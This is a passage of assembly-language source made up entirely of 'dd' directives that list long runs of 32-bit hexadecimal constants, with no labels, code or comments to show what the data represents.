0C40C694Ch, 785927ACh dd 930D05DCh, 0A8C8064h, 64BCD88Ch, 0A27617Ah, 432807F4h dd 132267h, 0F20B1F41h, 0CBBF62FAh, 7BF00C00h, 0CC207901h dd 9E5E0396h, 30D85836h, 2B922FC0h, 8B88A0C4h, 0A0D9441Eh dd 0EFCB0186h, 208AB280h, 74488AF8h, 9B000D46h, 3E81DA6Fh dd 0E503A9B5h, 4D03FF3Dh, 0C958B868h, 84CCAA1Ah, 0D56023E4h dd 0E1236ECFh, 99011F2h, 80CFCD1Fh, 0D0F7C567h, 798560BFh dd 4D5F6F36h, 740CC900h, 51D5CBDEh, 3490119h, 5E93DAF4h dd 24442035h, 8121D400h, 94C12DC3h, 1EC8918Dh, 0D54CE0C8h dd 0DBFA7CFAh, 65869318h, 0AC8D938h, 465FF75Eh, 56B201F4h dd 209A759Fh, 48CD0C4h, 0C425C150h, 20336213h, 0C2C11291h dd 0B16D600h, 27BACBFBh, 7289398Eh, 5804247Bh, 6238C238h dd 8CCF680Ch, 22C14F04h, 8C381BC4h, 0A8C11901h, 0A54876D9h dd 58DC0020h, 850CD649h, 0D9295611h, 0B3955E00h, 90F6E9A8h dd 48D5E22Dh, 84104C04h, 0C07D888Ch, 7460A28h, 880B18E1h dd 0A39203Ch, 0B0D5844Ch, 8C118D8h, 44274FF9h, 0F8313436h dd 44769424h, 0E152451h, 49088C4h, 5F9FD4C4h, 0D420A48Dh dd 0C30C8CAh, 4C089CA4h, 0FB240678h, 4E0B187Fh, 18CC7DCh dd 0F6D5C5A5h, 0A9CE3CD0h, 482095F8h, 0D3048C21h, 0E2E170CFh dd 25209162h, 46CFCBh, 591A4079h, 0A4C17FDEh, 0E400EC99h dd 5E3A057Dh, 48D92A85h, 20D200B8h, 0DFF1313Fh, 909ACEFBh dd 39588B76h, 8C8FBC6Ch, 0F16FF609h, 101810B8h, 0CB468468h dd 26C14B02h, 10C73BC4h, 0C1158800h, 0E4D7FED9h, 0E83115D0h dd 8879C436h, 0D0A022B0h, 3D7CFF7Bh, 30674344h, 27484C5Ah dd 916ECC99h, 7DA007Ch, 1F3D154h, 57EFEAFDh, 0E45F930Ah dd 0C668C85Bh, 4674BCC9h, 0B57D0F54h, 0B795866h, 0C8EBF7E5h dd 1393BE78h, 2170AD1Fh, 78F057Ch, 1207B11Ch, 2155D0D7h dd 2327C38h, 0B98527D5h, 5C008109h, 5B1B6742h, 0F917C921h dd 0FA571854h, 0C4950489h, 805D3FE4h, 6F75DF60h, 0CD46D8A6h dd 28C14507h, 36C458C4h, 878649h, 0FE3D005Dh, 0F424D012h dd 7B00B41Dh, 62CE31BEh, 5C752A25h, 2CC4630h, 0C429C14Ch dd 11383133h, 28704E8Dh, 0A808E689h, 0B4538Ch, 0CDEF7BCFh dd 0A5A7099Ah, 1888D37Ch, 28916F67h, 281C4500h, 0C4008C78h dd 4AF41A63h, 0C08F6615h, 0A3716A21h, 9F06D5D3h, 870D7A84h dd 0E85E5408h, 0A3790351h, 64CD5B49h, 45B16100h, 31A2712h dd 207A12C7h, 0DCB4000Bh, 5E3919ECh, 796CB600h, 0C88FED3Eh dd 44BA2Ch, 24CAC57Bh, 0FB932F62h, 0D1019F00h, 80EB2147h dd 0FEF418C0h, 0D7034014h, 581CBA30h, 39019762h, 9A0048B3h dd 3DB2B23h, 0D8902EA3h, 7C0308A2h, 0E023DF6Ch, 0A36E014Eh dd 1897D5D4h, 76508866h, 5643A300h, 1D218A71h, 0EDE0E72h dd 0FA460C57h, 2C85490Ah, 0B86261C4h, 0FBF442C0h, 18341948h dd 0C7215966h, 3972E9h, 0C6985669h, 0D75F3E2Ah, 5824DD24h dd 366EA40h, 0C8E007Fh, 0E3D9FB32h, 0A5022C28h, 3987CF1Bh dd 50C960C7h, 998C63B6h, 42E7AD8Bh, 8C46241Ah, 73CFD604h dd 60CE3AE1h, 0CFCE2800h, 52BED33Eh, 7CE23F12h, 0FCDFD020h dd 3A8B8082h, 8E642CA5h, 0C8828361h, 7424B0D7h, 0DB01040Ah dd 184AF5BEh, 0A3FCA859h, 87D523D6h, 4A006711h, 2F8EA37Ch dd 380BA9DBh, 0E7E8D8h, 6212FA3Ch, 0ACCA1682h, 7E484003h dd 0B3E34401h, 4BDE25h, 0CE91977Ch, 0A7C3281Fh, 0D5474098h dd 1160C87Fh, 793DD98h, 45158D3h, 0D64AFA00h, 7ED4D00Fh dd 0EA6820C3h, 9E13F263h, 0D9662320h, 0BD020A1Ch, 9D12D7DCh dd 8E66117Ch, 7724E0D7h, 710686h, 222AC1A0h, 7E16CD91h dd 4EE33500h, 1AF11C80h, 0EA37019Ah, 23685B8Ah, 7749BC3Dh dd 0D00C4174h, 0B021C4C8h, 36E60013h, 8901CFA9h, 99F324D8h dd 52D8FBC9h, 0F1E08864h, 0A4044061h, 2F648804h, 34600856h dd 2609B4A6h, 0CEE0051Bh, 4589D4C0h, 18462C61h, 57240B9Eh dd 0C84F04A4h, 28C87BE0h, 0F034079h, 0FC901739h, 8B1A67FCh dd 9178438Ah, 0D1A142C8h, 3C668A1Ch, 3BC06C98h, 5557F3Bh dd 28E4C11Ah, 0B88B4C01h, 0C0868018h, 2157BAE3h, 42445C85h dd 77891540h, 0D0004F7Ch, 86ECC220h, 49C10C3Fh, 3E029C80h dd 7E26CC53h, 75B45060h, 730E8B00h, 6090D4C7h, 0B1346067h dd 0DD9FA3Fh, 78290A01h, 18857B89h, 4C7ACDD0h, 6789F8ABh dd 0AA831810h, 18011530h, 7F7FFD57h, 2775000Eh, 53D6A04Ah dd 0BE0C5B84h, 7995C958h, 29BF07DBh, 0A4D74779h, 0D9E4C011h dd 0E9C18FD0h, 7C1703DDh, 58C29840h, 0E21C2673h, 0B2BF0BBCh dd 9A7D0100h, 0BD07E303h, 0FB57848Fh, 14D9799Ch, 24CE1CD8h dd 0B7AF810h, 1E2FF37h, 0DE9FC244h, 61A23C63h, 0D5CBB833h dd 141702F7h, 0A4023E9Bh, 3444D0C7h, 0FC978064h, 0DBFAA67Ch dd 41A29312h, 242A2C02h, 45ECA053h, 135CFEDh, 991C28A8h dd 0F4CEC5C1h, 32093FEFh, 84BE2B78h, 90C8D7D4h, 40DCF289h dd 7AE02C60h, 0E32EA8B8h, 467C5080h, 0B5FB008Ch, 43FD7FBCh dd 54842EA4h, 3FA00080h, 3CC70116h, 2090BEA1h, 0F091FA00h dd 62847505h, 0E39D30CFh, 655A7701h, 60FDF90Bh, 0A88848h dd 58F8881Fh, 0CE17DE18h, 0C1761C0Ah, 0C808011h, 66FA4CDAh dd 0D95E01D3h, 72A7E4CDh, 2874E429h, 0BDFD5000h, 253D8546h dd 0A459C056h, 0AD06E07Fh, 0D29B601h, 49FA9444h, 0B024C720h dd 6E7A1228h, 88B4CBA2h, 0F6D1C030h, 0C3FC15DEh, 0C6059E00h dd 167F578Eh, 0DC661C68h, 0D6DB00C4h, 0BEE2FAD7h, 0DE3F3712h dd 0CAADDC20h, 855F26C2h, 845937E3h, 83E0C0B8h, 7BF0E86Ch dd 2260C096h, 0E507500Ah, 40C471DEh, 530B1A3Eh, 919B4E06h dd 1F1910C1h, 40427325h, 30F5495Eh, 0A5007195h, 0A807FF20h dd 53394ADh, 4037E92Dh, 82F4050Fh, 0AC38884Bh, 27E37C40h dd 7C1792BFh, 80893291h, 0F8DA1D80h, 0F400556Eh, 0A86A99C7h dd 4C30CC1Bh, 87125C67h, 1D64217Fh, 8D70C24h, 42E174CFh dd 294F55C4h, 91A640FCh, 0C0D8D5DEh, 57B08461h, 58245C03h dd 914960B2h, 0E6E298D2h, 9426197Bh, 0D500660Ch, 7F28C22Dh dd 293760B2h, 0A19D046Fh, 0CA483Eh, 0FB28C996h, 4414407h dd 5FDC8417h, 30C8C7D4h, 5E3B8E5Bh, 3028FF0h, 0EB46AB63h dd 0C60C056h, 5EA89E65h, 4791946h, 0B5597781h, 0DA42C010h dd 624C3EB3h, 540D0024h, 0C34FC9D8h, 94FB7856h, 6012441Ch dd 23D8A372h, 651177D5h, 0A3F473h, 1695E6CEh, 0DCC02EC8h dd 0B8B22094h, 0A293078h, 0F8074D08h, 40186466h, 410A213Bh dd 0E74A0092h, 0CCD8D0FCh, 1712B596h, 1C8865A3h, 0EECE0330h dd 39AC8BD3h, 0F8B01FC2h, 7216CFD9h, 0ECCBD2E1h, 7DD12310h dd 42ED8F02h, 407C80B8h, 24B94C60h, 749C49A7h, 0C0030C46h dd 5C240649h, 14A0691Eh, 0D2390CC0h, 27B45F0h, 0DD24BE26h dd 3CC8F9B3h, 0B02CC0D9h, 3A48D1h, 68C10FEAh, 9AD81131h dd 626C9BD4h, 68C36C35h, 14A232A4h, 0A4041A2Dh, 8164CEFCh dd 0CAC423A4h, 8B0044C7h, 0EE7FC118h, 0DE440247h, 4EB3E19Ah dd 3B7523h, 0C271F629h, 734DFFD6h, 6C26F400h, 0D772A827h dd 12BC7E84h, 909066A2h, 0CAE742F8h, 3E386701h, 4A8093B6h dd 0C035830h, 7145C0E9h dd 0EE4CC728h, 0CE007E6Dh, 9547E254h, 159BCE9h, 3CFCA3E3h dd 282450C1h, 373804D0h, 7CA0E0B1h, 426D3DE9h, 0BE15CF87h dd 0F8BD808Fh, 220BAFC4h, 831CD91Ah, 98790661h, 9576EEBh dd 29C4CDB5h, 0E5007864h, 0CB2FC9B8h, 171F7BAh, 431809BEh dd 106523FAh, 17E9B0h, 0FD6990Ch, 7A016429h, 35384C5Ch dd 6E83496Dh, 0E1313E5Dh, 0A04D9615h, 0A2006422h, 0F7E8CFC7h dd 59F5E9h, 0B8E14A30h, 0A4D1D813h, 89C13E0Bh, 68608788h dd 4B505E07h, 2B7274h, 0ACC2E994h, 0E5ED5F4Ah, 23496800h dd 0FD25CA95h, 0FB51001Ch, 0FA67462Dh, 9A0FF99Eh, 80202BB9h dd 4D3D3575h, 0B22D032Ah, 4B886F67h, 7CB02900h, 7B98FBBFh dd 0D1A4195Eh, 80160823h, 0BF140B21h, 0C461A38h, 4AE13DF5h dd 0D1008748h, 511FC565h, 500596h, 41ABA067h, 0AA69818Fh dd 9F7C5770h, 80D01081h, 11A46352h, 9BB0DEBEh, 0FFE2C3B1h dd 80C2131h, 20804FB7h, 2BA4D6E7h, 0FDE6EE10h, 36913518h dd 0F1DB78h, 91B61C7h, 0BA5D4577h, 3F182B7Ch, 94F1C5A1h dd 6FE00CA2h, 5A709EFEh, 448AF82Eh, 63ABE603h, 2E09307Dh dd 8AF03AA1h, 0B552EC18h, 0FC8181h, 13153F86h, 64A6D584h dd 0E0EFE109h, 70D8010Ah, 2DFD09C6h, 0ADF7D180h, 0AE8F8252h dd 400201EEh, 61B0681Ah, 118481F5h, 80581450h, 23A7ECE2h dd 0BD11E3B1h, 0A4DA007Bh, 0F08ADFBBh, 950156E6h, 0E07A1043h dd 3C427B58h, 0C41DC064h, 0EDE83C1Fh, 8E9D9F00h, 0CC45AF8Dh dd 3C8BBA00h, 4014D12h, 3E6A0096h, 5B85A251h, 6000B4DBh dd 0CF206C06h, 79ADAh, 547C6704h, 596E1971h, 0FC86C539h dd 66E4FC00h, 7F4E0DE6h, 6D170740h, 0AF2AFDAEh, 0F896BEh dd 9526B27Ah, 631F790Bh, 0E580824Dh, 5EB851ECh, 0AE2300E2h dd 0FFF6F9C3h, 0A73AD542h, 0DAFB809Ah, 8326D75Ch, 7960001Ch dd 9CE11335h, 0E300D491h, 0E2DAE3Ch, 1F4D385Ch, 0D97C855Dh dd 0D86D30D6h, 4C0121B9h, 0B701ACC4h, 18809611h, 0B5028C04h dd 0F007E63Ah, 0B11F9042h, 0D01957D3h, 5CA08A96h, 0AF3D3603h dd 8763F281h, 20D95D77h, 350F1730h, 200EA242h, 0C776B1E3h dd 946218ACh, 872C79D9h, 45C9C600h, 5BF431EAh, 4084603Bh dd 94EC628Dh, 9907B903h, 0D84DB014h, 0C0853683h, 987E7118h dd 31833C2h, 0D50D44Fh, 0C42D01B6h, 781528A4h, 5288406Dh dd 690064AAh, 0E637AB13h, 3ECEDCh, 0E2A91CFAh, 2C1243D8h dd 777C8679h, 0D73640h, 0A5DCBFBCh, 645A1344h, 0CBF28900h dd 947C2798h, 71EB07F7h, 2841EAh, 7350E7E1h, 1156770Ch dd 7C7982h, 0C2327F8h, 5B35C6Fh, 28805B50h, 51D49700h dd 0A8F10EA1h, 0B8831FFDh, 1F0F7EF7h, 0CE809DFCh, 0F38F676Ch dd 79E163Ch, 232E5F10h, 2B5AF220h, 0F02DE84Ch, 6B4E0028h dd 0CA55D3C9h, 3D638B10h, 1F9BA08h, 6B444920h, 0DD26DD36h dd 0B577F44Eh, 2070826Ch, 8BF93E08h, 2AD9FF8Ch, 475CCD11h dd 0B8AD0171h, 0D0F4FDECh, 2492088Ch, 3E03F020h, 3873E5C9h dd 800D9204h, 0D3C0F289h, 30090125h, 64A08B9h, 2D308011h dd 8EB46583h, 1D84038Ah, 168CA22Ah, 21007BA3h, 56B2FDCCh dd 1F47F8F6h, 0C63A25DDh, 0E4A1349h, 0CF6399C0h, 0F9ED96Ah dd 8C844872h, 6D870581h, 22D081F3h, 90E91464h, 3C3198CCh dd 3A0047DFh, 0AD05C101h, 0D91CB834h, 3D8029F1h, 0E00FDD3Fh dd 177300C5h, 0D1D00170h, 0D500CD46h, 3A4C2433h, 2085B9h dd 27740888h, 39CFCA30h, 73F038h, 6AA54C84h, 0F8D5Dh, 8BC5623Ch dd 0ADFF88D2h, 0B92CE83Dh, 3D7381CDh, 69A9967Bh, 1EA10D60h dd 80437F3Eh, 6B7A50FCh, 0F7485822h, 65690061h, 0FBFEB609h dd 0EEF03F16h, 0FEB5601h, 0C48AD8A5h, 81F696FAh, 4370BE0Eh dd 0BD2D45D4h, 198C0FC3h, 612B0B18h, 0D170E0D5h, 0F78A3801h dd 0CDAD58ECh, 2CDD1AD0h, 1EB73E9h, 96C3FEFFh, 0E835E9E1h dd 0D33E08E7h, 8786004Fh, 0A777A029h, 681261BBh, 0C593043Eh dd 2E908733h, 0D808B9Dh, 30FB07ADh, 0DE183C6Ah, 0CD00FFAAh dd 0D4DB7CF5h, 1146ED3h, 570BD5A8h, 804046B7h, 0D9362DA0h dd 3C166815h, 6E80C05Dh, 0BCB14B26h, 0A9631E93h, 1B8EBE9h dd 0FCB2F319h, 0F0D58E2Dh, 72717E33h, 92EF3603h, 913F3826h dd 8050A889h, 0C7AA10h, 0A6175F1Ch, 27FEA905h, 0E155CA00h dd 0D20CD368h, 97B900C7h, 35F8B0F4h, 1E00A993h, 0C24936A0h dd 73414C9h, 41D9925h, 0AF444323h, 0C1582000h, 0A927E5C3h dd 78A11CE8h, 3757C0D7h, 14CE35B7h, 8F182B00h, 0C6843C6h dd 85EF3988h, 8FF3380h, 1EB0A60Dh, 53962E07h, 784C94E9h dd 0E0EDE080h, 0A422031Dh, 0A3521F02h, 210F7CA3h, 0C0ED07DAh dd 3AF6FE67h, 18177BA7h, 0B9CFAED5h, 5F982A89h, 9A78FE00h dd 3A9703F6h, 0AE60069Eh, 80EC3885h, 0EF195A03h, 1989524h dd 21579639h, 81AC2DC3h, 52FD8911h, 72E83701h, 45301D92h dd 1F070C73h, 0F6000420h, 974B0852h, 0EB880E0h, 0BFE89F8Eh dd 5023583Bh, 52FC00C6h, 71F53704h, 21946086h, 0F52F76Fh dd 0E23848h, 98505EC1h, 0D91397h, 2C43C5F2h, 7D78C9Eh dd 0BEA930C0h, 3C6D2BBh, 4331C9CDh, 818D9A1h, 4420A5F2h dd 0FAD200C5h, 92991489h, 0F4A0984Eh, 0D5300B53h, 0F04B605Fh dd 93A307AFh, 0E0C49D0Ah, 66FA1C36h, 0CBF45500h, 729705A4h dd 0B9AC0027h, 7FE68EADh, 58F4BBD9h, 316E8400h, 3CEDEE55h dd 1EDFE276h, 80F6DA01h, 772EB826h, 5800475Ah, 0DCFCE324h dd 8B15EEh, 0DBC9F39Fh, 0B91DDAFDh, 38F66B38h, 0B4988351h dd 475CD6h, 0C7662314h, 93E5FB84h, 67413901h, 0E665DFC4h dd 45D1094h, 3F30C4ECh, 523D10FFh, 99AF3936h, 3B55CB00h dd 2B9C388Dh, 4031AE1Fh, 13CDA200h, 1FD8E1Ch, 8628CCFBh dd 0BF953420h, 33590012h, 0E3BE3502h, 373004Bh, 9DBAB414h dd 0F37AA8A7h, 0B5803Ah, 0C162E92Dh, 18D48h, 0EE6C4585h dd 8AF4F2CCh, 0B2BF881Ch, 94D53F3Ah, 48964DB8h, 89653B17h dd 8041CC21h, 0E5B6ABFCh, 0DDCE00E8h, 0B1754BCDh, 0F0005B98h dd 398F9C7Ch, 279BC6h, 6368DBC1h, 0A37FB64Fh, 88038A73h dd 0F7640A9Fh, 1510062h, 39ADC06Dh, 3D00DE8Ah, 9719726h dd 60AE803Ah, 4DE4489Fh, 9316D12Ch, 420BF50Eh, 0B6208062h dd 0F94C24Fh, 474C4833h, 5978272Fh, 290065B7h, 2A1C66CDh dd 1C738B1Dh, 144DB2Ch, 51F18452h, 0BD6180E4h, 0B50BD982h dd 631C02F4h, 0CBDEAC66h, 15C8B5C0h, 0A509230Bh, 0EEB30167h dd 8DC8084Fh, 6B73005Bh, 52243B48h, 5300F18Ah, 3DC0B1DCh dd 57136D1h, 0E10D3E16h, 0D4D9C06Eh, 5504956Dh, 5E148DF3h dd 1DF00481h, 1DC3C0F8h, 0B0A717B9h, 0AE285290h, 0BE5A0B1Eh dd 72230580h, 5699621h, 1DC5DD50h, 0D7B040B8h, 0C3917056h dd 0B1F34609h, 0B430213Ch, 7AC084ACh, 279A0061h, 5A732560h dd 0AE00A6BFh, 69BE1BBBh, 35F08C8h, 19AD71FEh, 0FB86FDAh dd 0FDEEBCE9h, 7FA16B03h, 0FBED12EFh, 0C90ED983h, 200CCE61h dd 5CEE04E1h, 80CF0D20h, 0E39EEF44h, 55B39700h, 12CE1B5Dh dd 0CDF499h, 0BB4DA361h, 0F77B7AD7h, 34FE5818h, 0A7D6A0h dd 64BFC187h, 829D7C4Eh, 0A3003D7Ch, 0E94CBC15h, 127091D5h dd 3DB4A48h, 0EEC8AA00h, 74426097h, 0C998548Eh, 0BDFA5300h dd 0D1DBF963h, 685D000Dh, 5B58ED27h, 0E600CFA2h, 0EF7699EAh dd 0EE6B4670h dd 1E0F033Bh, 0BEF34F60h, 0A0805B92h, 0E4D2FB11h, 70208A00h dd 0D84865CAh, 0C0F62Ah, 0FE1CB9CEh, 3BD2E4B1h, 0F7257A00h dd 0E898BB05h, 0B58CA8D0h, 12285C81h, 2A9ED40Fh, 82631840h dd 0B70765A2h, 0F0B59D71h, 0A60BF610h, 0F2267D46h, 0C909009Fh dd 37168EC6h, 170A0290h, 0EC3A0497h, 6A2E9600h, 12EE88h dd 2CC0054Fh, 34D20EE9h, 27552A1Fh, 1C88A1C0h, 78E78A32h dd 710A00BBh, 5ECD2B3Bh, 757E548Bh, 4B30E990h, 0DBE9A8E1h dd 493703E6h, 2A7D4AFCh, 444B14F2h, 298576A0h, 30132824h dd 8A18F802h, 0D9CC4096h, 7505095Bh, 6CAEECF2h, 2DE1914Eh dd 70298D17h, 0F300952Bh, 1E3527C4h, 7EE0D8h, 0E81C56B0h dd 776090CFh, 46DCB11Eh, 0EA44E607h, 1F1611D0h, 4DEF0004h dd 6CF42548h, 51753CD7h, 2F30A90Fh, 76A380FEh, 0ABEF31h dd 0B15FF975h, 147BCEEAh, 2FAF8216h, 19CC8800h, 164AB9Fh dd 85DFFAEFh, 0E8ED978Eh, 0E200B045h, 0FF552B1h, 3621081Dh dd 8060F399h, 862E9000h, 7D65C7F9h, 4621FBAh, 0B3D98052h dd 0AC0A287h, 80E6B800h, 0ACCD98C9h, 2C98F2h, 9CD61914h dd 1871CC1Bh, 79B8D200h, 0FFCB7606h, 14FD0783h, 60A8D95Dh dd 0B24A4CB0h, 9CAA6E01h, 368B774Bh, 0E19EA451h, 58C0C6DCh dd 0D407E612h, 0D273646Ch, 0E660AAE8h, 0F2012A76h, 0FC0B7719h dd 68DC1CE9h, 0B55E2651h, 485F0093h, 29FDA2D5h, 330AC48h dd 0FCEB0C2Eh, 31DCA0AFh, 638C0088h, 0E7A97EAAh, 0F900DAE9h dd 1F78B957h, 9B4756Fh, 3DBD4F16h, 150E3C00h, 5300541Dh dd 0E83E76D6h, 21306Bh, 0C4C86858h, 3637D507h, 0D0105760h dd 23BEB7h, 8E2DDEF9h, 27B9C0E7h, 0FEE04100h, 9724DEBh dd 92983DDDh, 6A7E12h, 1D02544h, 51037FE9h, 18C09314h dd 7DE8B0E5h, 3B732CEFh, 4A05BA9Ch, 0C031DB17h, 0BEDAA51Ah dd 61EB3A1Eh, 4BF5A9C0h, 4B7543Bh, 37445FADh, 850D069h dd 0F907CD80h, 288AE92Fh, 0EFA3D280h, 0AAFB50D8h, 38AB1F6Dh dd 0E7A60079h, 68C0FE1Bh, 0D10B7800h, 3FB0B35Fh, 6494A190h dd 0D1060h, 0EB54DB6Dh, 129C970Eh, 91A7D801h, 275E9428h dd 2D9960h, 60521A03h, 0E75F9DFh, 0CF5DD100h, 0C91F862Fh dd 41AB00D5h, 5E97CBDAh, 0E70E4237h, 80D14C87h, 3A195149h dd 726300B2h, 1C352E66h, 59065D1Bh, 2756B4Dh, 0A1960048h dd 82BA7C36h, 8F0034CDh, 8EBE695Bh, 13A41F1h, 28540232h dd 0D87316EAh, 4E3F7C31h, 40498EBCh, 17BDE018h, 0E415E07Bh dd 50620067h, 0C6B3235Dh, 0A028DDCh, 6D7CAEF4h, 32504863h dd 1CFA0074h, 37E49766h, 8C0020D5h, 0B38AB8F3h, 5877072Ah dd 95121446h, 38A01AAh, 606CFB61h, 0D20014F4h, 6E0D6079h dd 0C3AAB353h, 0A7DEA37Eh, 7174D084h, 0F8A85FF6h, 6B009804h dd 78020FC0h, 7C4D4007h, 0A9E41E94h, 32BF2660h, 0A402F111h dd 5F5920FDh, 4B009AF6h, 96E373AFh, 608E076Bh, 1E4588Ch dd 5F4ABC60h, 0F5DDB9B0h, 3E6C874h, 0D709757Ah, 589EA5BEh dd 0A1DD1914h, 0DD40B50h, 0FD388509h, 21C45400h, 0D23473h dd 5A747961h, 1B91F962h, 5D805060h, 99D5A9h, 14C6193Bh dd 0E686B209h, 0BB934E03h, 0AC52C74Ah, 15383700h, 2094E5FCh dd 9D10FDF1h, 55079974h, 0AF6B8E3Bh, 3E98AE60h, 0D1900F94h dd 2D43789Fh, 9DE0BC34h, 0C600EC9Bh, 7793FE67h, 0EE1D30h dd 956290BFh, 0D36C0220h, 8DD6520h, 0FC4D873Dh, 18C21460h dd 36AFEE6h, 0A0716E60h, 0C891B772h, 5DD704Dh, 1286B001h dd 0BED53C23h, 0CC83C4h, 0F828B7FAh, 93C9C3DAh, 0F5953E12h dd 0E740FC01h, 0ACF04DA9h, 1EAF00FEh, 3D5FBA87h, 7587933h dd 0D2CD0004h, 0B45D1AFCh, 4857537h, 7F120DF8h, 4AACC396h dd 0D5982C98h, 2471DA01h, 798D9485h, 76CFFD60h, 20FA7710h dd 75074B01h, 71509B17h, 5FCE4780h, 445702BEh, 6BACA531h dd 0BF2E48E0h, 68081F03h, 0D801CBEBh, 1A1B9Eh, 0D7770F0Dh dd 0E52994F9h, 2E7CC8A8h, 61506000h, 0F497E881h, 9890EAD0h dd 87480088h, 38203CF3h, 62EA6E02h, 4661BE07h, 0C5DE0F77h dd 0F4818D55h, 51809236h, 215F0D79h, 5760A376h, 24013C90h dd 119C6075h, 6D1AFA3Dh, 78E8D248h, 0F11D1600h, 0FEB5CAADh dd 0BECE004Ah, 3EF22213h, 0C50031BAh, 41301525h, 12FF1D6h dd 740B92CAh, 308B0E06h, 703E9787h, 8F2A04C2h, 57803E29h dd 0F0854921h, 0AE5004Bh, 0C3FA6764h, 75004432h, 0F7CFD505h dd 1CF076h, 15A859F6h, 0C1E694F4h, 80288F39h, 727B03F2h dd 78F149E0h, 587018Dh, 958536B2h, 317D30A8h, 9A0C8600h dd 0A5D91777h, 7B7703Eh, 83576C2Fh, 56FCE072h, 0F800AE79h dd 3A7CB008h, 0ED411ECh, 0E862574Eh, 5EF737A0h, 0F11647B8h dd 0A60040C7h, 0D146B1F6h, 2654062Bh, 80F4CDA7h, 9279803h dd 0BBB83F34h, 0D46BA8D3h, 922F3EA5h, 7EAC00CAh, 0A47D1B47h dd 0BB190A07h, 0A986A91h, 80485439h, 6185AD87h, 9600D60Dh dd 66F4D4DCh, 9BBB94Ah, 44162073h, 672284A0h, 7E00AB4Eh dd 0FE61D45Bh, 0A4D70Fh, 0DBA4612h, 0DFD0E1B7h, 0AE02A673h dd 8F170578h, 0E85049h, 0A7530A4Eh, 443DAD67h, 645C2C92h dd 17A800C0h, 18851B2Ch, 3D7E035Ah, 1570D9FCh, 0D12B66D0h dd 7C57F624h, 3CD24480h, 84734h, 0DCEE5293h, 358320A0h dd 2A0D4Ah, 413F4813h, 6B162B40h, 0D612D852h, 0B63ED400h dd 57D7C18Fh, 0F830046h, 0D57FA87Dh, 8613AF8Bh, 571E2381h dd 59C0AA87h, 0BA670510h, 0E77B00C8h, 8876F3Dh, 0CC0B920Fh dd 384D5Ah, 0E3E8B4EAh, 462A0193h, 86FBCF2Ch, 5A20ECDAh dd 966A061Dh, 61CC9881h, 3DC8056Dh, 95ED0F9Eh, 409D54DCh dd 3E782F59h, 92123AD2h, 1F0030AAh, 710AFD26h, 0FEE9024Fh dd 0E8120595h, 0C832B2E0h, 0DA4D5D00h, 0D99DF50h, 0BBF30E71h dd 33E0BC97h, 9316F251h, 8ACCBD54h, 9000157Ch, 84A18C7h dd 611ED8h, 1F51E210h, 20D1EE64h, 0D201C5EEh, 0BA248337h dd 64304A68h, 60F30FF9h, 5F8EB952h, 74B116C3h, 9CCBBFE0h dd 3A9D0200h, 210E2C8Dh, 8398007Eh, 0D6441BF2h, 0C1248B6Ah dd 0BB483Dh, 0B01CB39Eh, 17C33001h, 28D59286h, 6060CED8h dd 9A6178D4h, 0AD9401A7h, 9ED6F063h, 73E0F486h, 8800C4B8h dd 7B36614h, 2E62E1A3h, 87D01591h, 0C6F91730h, 6B017928h dd 6576E3BEh, 1824DA55h, 0ADBF2569h, 280D8080h, 0FEFC956Eh dd 6F2A7800h, 426DA21Bh, 6BD00085h, 712760D9h, 0CC00BED8h dd 6398BF2Ah, 29416B7h, 0EABC2F85h, 0CB805C70h, 3A130A65h dd 0C908D407h, 0B5A0423Bh, 1F54ECE0h, 0C003EF21h, 0B2248E7Ah dd 0DF77869Bh, 3900D2F8h, 0B9A24840h, 1E615DD3h, 42E530FDh dd 0AD98A9D9h, 0AB3D1240h, 38E47A00h, 899D895h, 0A49D002Ch dd 4B5D474h, 0EB00B018h, 0D64E633Eh, 0E84F3Bh, 0C9679350h dd 0E0C38BAEh, 4142642Ch, 0C2D54002h, 0F4CC70AAh, 0D04316EFh dd 0E8420663h, 61F230C8h, 0B70AE300h, 0F5F3602Bh, 9CAA0096h dd 53B8FD12h, 1A703670h, 39000EF8h, 5F07D3F6h, 0A501582h dd 89A6D280h, 945D00B6h, 19F1FB71h, 0C4F77702h, 607E1C34h dd 0F8435CAh, 6C8FB1F3h, 0C1E90C0h, 97FC58A9h, 0C838B20Eh dd 31FB8070h, 268F89h, 0B89AE3A6h, 0E8BEF084h, 0D0663301h dd 0D6C9ED4Fh, 0C0C80CFDh, 0CAC800E5h, 0F9214659h, 99003A5Ah dd 86CF5479h, 75F7BDDCh dd 9116005Dh, 0C2CEAB1Ah, 0E400BAD4h, 0A2312568h, 2634D8h dd 0DEFA754Bh, 4CA578B2h, 2CC3801h, 0AADB4A46h, 1300A869h dd 620C39EEh, 16146C3Ah, 947A86h, 74418CEDh, 601ADEh, 32730C0Eh dd 0B0E34DE4h, 18C264Ch, 7FBF7895h, 0A4D414FCh, 202B3D13h dd 44E5592h, 0C4361610h, 0C4E48C98h, 880AC05h, 74C07D13h dd 831530h, 0B07F4CF6h, 36AC7195h, 80416D25h, 0D0BA9388h dd 0D57C0061h, 266E4A09h, 3E506CC1h, 0C92EBC10h, 0DF81D861h dd 0E541DD90h, 0A4D0886h, 98F01844h, 0FFECDEF8h, 25F2400h dd 854EDC0Ch, 9BF61D28h, 5C550041h, 0E6B36CA8h, 0BC60A900h dd 8580621Fh, 6A51CF5Fh, 1722FC20h, 260A6D02h, 543D6CBCh dd 7C621C82h, 0DD50375h, 5C5350A2h, 72B83D00h, 1DF58D2h dd 0B12DE1BBh, 0C068711Dh, 0C500D901h, 4645BF20h, 0EE3DBCh dd 0E2786656h, 55C20949h, 71B6AAA3h, 0DA3C1900h, 61ADD3EAh dd 67C13004h, 2BE91E69h, 66EC701Fh, 0C11BE0Ah, 75D99F82h dd 31150468h, 0F908C633h, 4B08E542h, 0FD916EA9h, 2E30E606h dd 921D30D8h, 1620E2A6h, 4074455Dh, 6669085Ch, 220C981Ch dd 2094DEA5h, 0B5BA00DBh, 0BE05A4E2h, 38C3EDA6h, 0A4CB2BDCh dd 63684F40h, 363C223Bh, 79AC1E8Ah, 700FEB1Eh, 557099E9h dd 0E046AB11h, 8A18EE8h, 56DBE045h, 2420E389h, 7E5507AFh dd 22E6D495h, 0A478EA84h, 7F10E80Ch, 540BC8EBh, 136AC40h dd 0A2414CC6h, 2C073E2Eh, 4FFF0044h, 55813276h, 0A0F6000Dh dd 877E333Fh, 8A3866F8h, 8635B843h, 0C57DFA12h, 78EE0CF0h dd 9060D7A1h, 30E2F905h, 0A800A43Ah, 0FCFD0DD4h, 7605F487h dd 94170056h, 33CDCB75h, 9E3FD26Dh, 0AEB80FC1h, 0AAE20734h dd 3F70B160h, 0AF810F78h, 9A815CA9h, 0C091EC7Ah, 0B033F225h dd 0A8E51894h, 